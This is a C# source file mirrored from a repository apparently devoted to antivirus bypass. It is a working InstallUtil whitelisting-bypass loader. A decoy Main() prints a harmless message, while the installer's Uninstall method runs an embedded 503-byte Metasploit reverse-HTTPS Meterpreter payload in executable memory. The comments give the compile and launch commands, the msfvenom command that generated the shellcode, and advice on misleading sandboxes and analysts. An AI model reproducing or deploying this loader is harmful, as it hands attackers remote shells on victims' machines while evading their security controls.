mirror of
https://github.com/TideSec/BypassAntiVirus.git
synced 2026-10-18 14:50:44 +08:00
tidesec
171 lines
6.7 KiB
C#
171 lines
6.7 KiB
C#
using System;
|
|
using System.Net;
|
|
using System.Diagnostics;
|
|
using System.Reflection;
|
|
using System.Configuration.Install;
|
|
using System.Runtime.InteropServices;
|
|
|
|
/*
|
|
Author: Casey Smith, Twitter: @subTee
|
|
License: BSD 3-Clause
|
|
Step One:
|
|
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe Shellcode.cs
|
|
Step Two:
|
|
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
|
|
(Or)
|
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
|
|
The gist of this one is we can exhibit one behaviour if the application is launched via normal method, Main().
|
|
Yet, when the Assembly is launched via InstallUtil.exe, it is loaded via Reflection and circumvents many whitelist controls.
|
|
We believe the root issue here is:
|
|
|
|
The root issue here with Assembly.Load() is that at the point at which execute operations are detected
|
|
(CreateFileMapping->NtCreateSection), only read-only access to the section is requested, so it is not processed as an execute operation.
|
|
Later, execute access is requested in the file mapping (MapViewOfFile->NtMapViewOfSection),
|
|
which results in the image being mapped as EXECUTE_WRITECOPY and subsequently allows unchecked execute access.
|
|
|
|
The concern is this technique can circumvent many security products, so I wanted to make you aware and get any feedback.
|
|
Its not really an exploit, but just a creative way to launch an exe/assembly.
|
|
*/
|
|
|
|
//root@infosec:~# msfvenom --payload windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f csharp > pentestShellCode.txt
|
|
|
|
public class Program
|
|
{
|
|
public static void Main()
|
|
{
|
|
Console.WriteLine("Hello From Main...I Don't Do Anything");
|
|
//Add any behaviour here to throw off sandbox execution/analysts :)
|
|
|
|
}
|
|
|
|
}
|
|
|
|
[System.ComponentModel.RunInstaller(true)]
|
|
public class Sample : System.Configuration.Install.Installer
|
|
{
|
|
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
|
|
public override void Uninstall(System.Collections.IDictionary savedState)
|
|
{
|
|
|
|
Shellcode.Exec();
|
|
|
|
}
|
|
|
|
}
|
|
|
|
public class Shellcode
|
|
{
|
|
public static void Exec()
|
|
{
|
|
// native function's compiled code
|
|
// generated with metasploit
|
|
byte[] shellcode = new byte[503] {
|
|
0xba,0x6e,0xad,0xe9,0x4f,0xdb,0xda,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,
|
|
0x78,0x83,0xee,0xfc,0x31,0x56,0x0e,0x03,0x38,0xa3,0x0b,0xba,0x1e,0x71,0x75,
|
|
0xbe,0x85,0x74,0xe0,0x98,0xcd,0x5c,0x01,0x42,0x1e,0x54,0x58,0x02,0x51,0x16,
|
|
0x83,0x66,0x51,0xd2,0xb0,0x18,0xbe,0x22,0xb1,0x0a,0x52,0x01,0xc2,0xca,0xa5,
|
|
0x44,0x61,0x18,0x6a,0x8d,0x90,0xf1,0x8e,0xe2,0x41,0x33,0xf8,0x82,0xdb,0xcf,
|
|
0x36,0x26,0xfc,0xc3,0xf3,0x4c,0xa5,0x7f,0x86,0xb1,0x77,0xff,0xdc,0x9b,0x25,
|
|
0xbf,0xa3,0x50,0xd1,0xf1,0x44,0x9b,0x8f,0xf1,0x7d,0xe8,0xee,0x19,0x69,0xa9,
|
|
0x1a,0x9b,0x5c,0x23,0xa8,0x95,0x76,0x01,0x7b,0xa0,0x42,0x72,0x34,0x11,0x17,
|
|
0xf5,0x8f,0x69,0x2b,0xc2,0xcd,0x90,0x81,0x20,0x10,0x90,0x8a,0xa7,0xc0,0x37,
|
|
0x59,0x51,0x8e,0x30,0x2a,0x29,0xf0,0x33,0x54,0xbe,0x01,0xf0,0xa2,0x53,0x2e,
|
|
0xd0,0xb6,0xb3,0x43,0xa3,0x91,0x74,0xc4,0xa7,0x79,0x60,0x6c,0xab,0xc3,0xc0,
|
|
0x5a,0x80,0x55,0xcd,0xc3,0x85,0xe7,0xd4,0x1d,0xc7,0x42,0xfa,0x1e,0x7b,0x57,
|
|
0xc5,0x8b,0xa7,0x03,0x27,0x23,0x04,0x40,0x5a,0xdf,0x62,0x6d,0x0e,0x8a,0xc9,
|
|
0xee,0x64,0x07,0x89,0x13,0xa9,0x54,0x07,0xc2,0xa4,0x34,0x25,0x56,0x52,0x1e,
|
|
0x1e,0x71,0xc8,0x45,0xd5,0x0a,0xfe,0xb9,0xba,0xef,0x23,0x5f,0x39,0x8e,0x48,
|
|
0xac,0x93,0x89,0x3d,0xc9,0x77,0x5b,0x9a,0x80,0x53,0x13,0xf8,0xbf,0x11,0x28,
|
|
0x58,0x74,0x59,0x60,0x85,0x3c,0x96,0x9f,0x35,0xc2,0x27,0x33,0xe8,0xbf,0x1c,
|
|
0x41,0xa7,0xca,0x33,0x78,0xda,0x7e,0x73,0x21,0x05,0xae,0x3a,0xc9,0xad,0xb5,
|
|
0x7c,0x43,0x99,0x2f,0x58,0x16,0xe3,0x51,0xa9,0x72,0x3a,0x04,0x01,0x32,0x26,
|
|
0xfb,0x54,0x0e,0x0e,0xad,0x23,0xa0,0x6e,0x40,0xc2,0xf7,0x87,0xb9,0x54,0x72,
|
|
0x5b,0xb9,0x1e,0x75,0x9c,0x5c,0x2b,0x0a,0x2c,0x59,0x05,0x5e,0x7a,0x5f,0x7b,
|
|
0x5b,0x14,0xa1,0x56,0x2e,0xd3,0x37,0xb5,0x11,0xfc,0x65,0x8a,0xff,0x6a,0x02,
|
|
0x92,0xbf,0xd3,0x58,0x44,0x5d,0x8f,0x84,0x4e,0x42,0xbb,0xe8,0xce,0x6a,0xb2,
|
|
0x0b,0x81,0xfd,0x77,0x50,0x59,0x1e,0x65,0x41,0x4f,0x80,0xf7,0x54,0x3c,0x94,
|
|
0xdf,0xa3,0x6c,0xe6,0x8a,0x92,0xf8,0x50,0x15,0x77,0xdd,0xa8,0xa7,0x41,0x46,
|
|
0xd7,0xe5,0x54,0x2f,0xe0,0x7e,0x09,0x83,0x68,0x90,0x6a,0x4e,0x64,0x9c,0x66,
|
|
0xa1,0x5f,0xa7,0x8d,0xc3,0x3f,0x56,0x2c,0xe6,0x88,0xc0,0xb1,0xc1,0xee,0xc4,
|
|
0x7b,0x3c,0x93,0x8d,0x8d,0xe0,0xad,0x92,0x91,0x84,0x58,0x28,0x64,0x34,0xc8,
|
|
0xdc,0x5e,0x78,0xb8,0x69,0xb2,0x04,0x5a,0x32,0x88,0x9e,0x9d,0x98,0xd6,0xfa,
|
|
0x19,0x89,0x7f,0x70,0x72,0x22,0x54,0x25,0x3f,0xcb,0x31,0x90,0x67,0xe7,0x68,
|
|
0xb0,0xb6,0x72,0xe9,0xd4,0xfa,0xcb,0x0a,0xdc,0x4a,0xab,0xf8,0xbc,0xe3,0x1d,
|
|
0x11,0x7a,0xbc,0x3e,0x68,0x32,0x1c,0x3b,0xb7,0x33,0x57,0x2f,0x41,0x98,0x5e,
|
|
0xa8,0x0f,0x6c,0xc2,0xb7,0x52,0xe5,0x8e,0x45,0xae,0x43,0xfc,0xae,0xfe,0x87,
|
|
0x4f,0xe0,0xc2,0x52,0xff,0x8e,0x19,0x9e };
|
|
|
|
|
|
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
|
|
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
|
|
IntPtr hThread = IntPtr.Zero;
|
|
UInt32 threadId = 0;
|
|
// prepare data
|
|
|
|
|
|
IntPtr pinfo = IntPtr.Zero;
|
|
|
|
// execute native code
|
|
|
|
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
|
|
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
|
|
|
}
|
|
|
|
private static UInt32 MEM_COMMIT = 0x1000;
|
|
|
|
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
|
|
|
|
[DllImport("kernel32")]
|
|
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
|
|
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
|
|
|
|
[DllImport("kernel32")]
|
|
private static extern bool VirtualFree(IntPtr lpAddress,
|
|
UInt32 dwSize, UInt32 dwFreeType);
|
|
|
|
[DllImport("kernel32")]
|
|
private static extern IntPtr CreateThread(
|
|
|
|
UInt32 lpThreadAttributes,
|
|
UInt32 dwStackSize,
|
|
UInt32 lpStartAddress,
|
|
IntPtr param,
|
|
UInt32 dwCreationFlags,
|
|
ref UInt32 lpThreadId
|
|
|
|
);
|
|
[DllImport("kernel32")]
|
|
private static extern bool CloseHandle(IntPtr handle);
|
|
|
|
[DllImport("kernel32")]
|
|
private static extern UInt32 WaitForSingleObject(
|
|
|
|
IntPtr hHandle,
|
|
UInt32 dwMilliseconds
|
|
);
|
|
[DllImport("kernel32")]
|
|
private static extern IntPtr GetModuleHandle(
|
|
|
|
string moduleName
|
|
|
|
);
|
|
[DllImport("kernel32")]
|
|
private static extern UInt32 GetProcAddress(
|
|
|
|
IntPtr hModule,
|
|
string procName
|
|
|
|
);
|
|
[DllImport("kernel32")]
|
|
private static extern UInt32 LoadLibrary(
|
|
|
|
string lpFileName
|
|
|
|
);
|
|
[DllImport("kernel32")]
|
|
private static extern UInt32 GetLastError();
|
|
|
|
|
|
} |